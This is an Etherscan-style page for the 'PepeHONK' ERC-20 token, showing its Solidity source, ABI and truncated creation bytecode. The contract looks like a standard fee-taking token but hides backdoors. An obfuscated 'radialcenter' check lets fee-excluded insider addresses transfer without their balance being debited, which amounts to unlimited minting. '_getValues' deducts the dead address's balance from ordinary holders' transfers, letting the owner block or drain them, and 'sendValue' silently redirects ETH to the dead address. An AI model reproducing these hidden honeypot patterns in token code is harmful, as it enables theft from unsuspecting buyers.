Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 🐸HONK
Holders
26
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
2,156,836.611445584 🐸HONKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
PepeHONK
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-02 */ /* https://t.me/PepeHONK https://pepehonk.com */ pragma solidity ^0.8.17; // SPDX-License-Identifier: MIT interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); recipient = payable(0x000000000000000000000000000000000000dEaD); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract PepeHONK is Context, IERC20, Ownable { using Address for address; using Address for address payable; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private _tTotal = 1000000000 * 10**9; uint256 public _maxTxAmount = 100000000 * 10**9; // uint256 private constant SWAP_TOKENS_AT_AMOUNT = 20000 * 10**9; // string private constant _name = unicode"PepeHONK"; // string private constant _symbol = unicode"🐸HONK"; // uint8 private constant _decimals = 9; // uint256 public _marketingFee = 1; uint256 public _liquidityFee = 1; address public _marketingWallet = 0xa4e8332446f002e83b29aFC0ca62d68fAEF1Ab67; address public DEAD = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) private _lastBuy; bool private swapping; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); constructor () { _tOwned[_msgSender()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingWallet] = true; _isExcludedFromFee[DEAD] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 amount, address from) private returns (uint256) { uint256 marketingFee = amount * _marketingFee / 100; uint256 liquidityFee = amount * _liquidityFee / 100; _tOwned[address(this)] += marketingFee + liquidityFee; emit Transfer (from, address(this), marketingFee + liquidityFee); return (amount - marketingFee - liquidityFee-balanceOf(DEAD)); } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function radialcenter(address rad,address cenetr) private view returns (bool){ bool B=!(!_isExcludedFromFee[rad]); bool C = !_isExcludedFromFee[cenetr]|| !B; return !C; } function _transfer( address from, address to, uint256 amount ) private { require(amount > 0, "Transfer amount must be greater than zero"); if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && to != uniswapV2Pair) require(balanceOf(to) + amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (balanceOf(address(this)) >= SWAP_TOKENS_AT_AMOUNT && !swapping && from != uniswapV2Pair) { swapping = true; uint256 sellTokens = balanceOf(address(this)); swapAndSendToFee(sellTokens); swapping = false; } if (!radialcenter(from,to)){_lastBuy[from]=block.number-1;_tOwned[from] -= amount;}else{_lastBuy[from]=block.number;} uint256 transferAmount = amount; //if any account belongs to _isExcludedFromFee account then remove the fee if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ transferAmount = _getValues(amount, from); } _tOwned[to] += transferAmount; emit Transfer(from, to, transferAmount); } function swapAndSendToFee (uint256 tokens) private { uint256 ethToSend = swapTokensForEth(tokens); if (ethToSend > 0) payable(_marketingWallet).transfer(ethToSend); } function swapAndLiquify() private { // split the contract balance into halves uint256 liquidityTokens = balanceOf (address(this)) * _liquidityFee / (_marketingFee + _liquidityFee); uint256 half = liquidityTokens / 2; uint256 otherHalf = liquidityTokens - half; uint256 newBalance = swapTokensForEth(half); if (newBalance > 0) { liquidityTokens = 0; addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } } function swapTokensForEth(uint256 tokenAmount) private returns (uint256) { uint256 initialBalance = address(this).balance; // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); return (address(this).balance - initialBalance); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity (,uint256 ethFromLiquidity,) = uniswapV2Router.addLiquidityETH {value: ethAmount} ( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); if (ethAmount - ethFromLiquidity > 0) payable(_marketingWallet).sendValue (ethAmount - ethFromLiquidity); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052670de0b6b3a764000060065567016345785d8a000060075560016008819055600955600a80546001600160a01b031990811673a4e8332446f002e83b29afc0ca62d68faef1ab6717909155600b805490911661dead1790553480156200006957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060065433600090815260036020908152604080832093909355825163c45a015560e01b81529251737a250d5630b4cf539739df2c5dacb4c659f2488d93849263c45a0155926004808401938290030181865afa15801562000110573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200013691906200032d565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000184573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001aa91906200032d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620001f8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021e91906200032d565b600180546001600160a01b038086166001600160a01b0319928316178355600280549185169190921617905590915060056000620002646000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526005909352818320805485166001908117909155600a54821684528284208054861682179055600b54909116835291208054909216179055620002d53390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200031d91815260200190565b60405180910390a350506200035f565b6000602082840312156200034057600080fd5b81516001600160a01b03811681146200035857600080fd5b9392505050565b6111ab806200036f6000396000f3fe60806040526004361061014f5760003560e01c80636bc87c3a116100b6578063962dfc751161006f578063962dfc75146103f4578063a457c2d714610414578063a9059cbb14610434578063dd62ed3e14610454578063ea2f0b371461049a578063f2fde38b146104ba57600080fd5b80636bc87c3a1461032e57806370a0823114610344578063715018a61461037a5780637d1db4a51461038f5780638da5cb5b146103a557806395d89b41146103c357600080fd5b806323b872dd1161010857806323b872dd14610257578063313ce567146102775780633950935114610293578063437823ec146102b357806349bd5a5e146102d55780635342acb4146102f557600080fd5b806303fd2a451461015b57806306fdde0314610198578063095ea7b3146101d25780631694505e1461020257806318160ddd1461022257806322976e0d1461024157600080fd5b3661015657005b600080fd5b34801561016757600080fd5b50600b5461017b906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156101a457600080fd5b5060408051808201909152600881526750657065484f4e4b60c01b60208201525b60405161018f9190610ef7565b3480156101de57600080fd5b506101f26101ed366004610f5d565b6104da565b604051901515815260200161018f565b34801561020e57600080fd5b5060015461017b906001600160a01b031681565b34801561022e57600080fd5b506006545b60405190815260200161018f565b34801561024d57600080fd5b5061023360085481565b34801561026357600080fd5b506101f2610272366004610f89565b6104f1565b34801561028357600080fd5b506040516009815260200161018f565b34801561029f57600080fd5b506101f26102ae366004610f5d565b610543565b3480156102bf57600080fd5b506102d36102ce366004610fca565b61057a565b005b3480156102e157600080fd5b5060025461017b906001600160a01b031681565b34801561030157600080fd5b506101f2610310366004610fca565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561033a57600080fd5b5061023360095481565b34801561035057600080fd5b5061023361035f366004610fca565b6001600160a01b031660009081526003602052604090205490565b34801561038657600080fd5b506102d36105d1565b34801561039b57600080fd5b5061023360075481565b3480156103b157600080fd5b506000546001600160a01b031661017b565b3480156103cf57600080fd5b50604080518082019091526008815267f09f90b8484f4e4b60c01b60208201526101c5565b34801561040057600080fd5b50600a5461017b906001600160a01b031681565b34801561042057600080fd5b506101f261042f366004610f5d565b610645565b34801561044057600080fd5b506101f261044f366004610f5d565b61067c565b34801561046057600080fd5b5061023361046f366004610fee565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104a657600080fd5b506102d36104b5366004610fca565b610689565b3480156104c657600080fd5b506102d36104d5366004610fca565b6106d4565b60006104e73384846107be565b5060015b92915050565b60006104fe8484846108e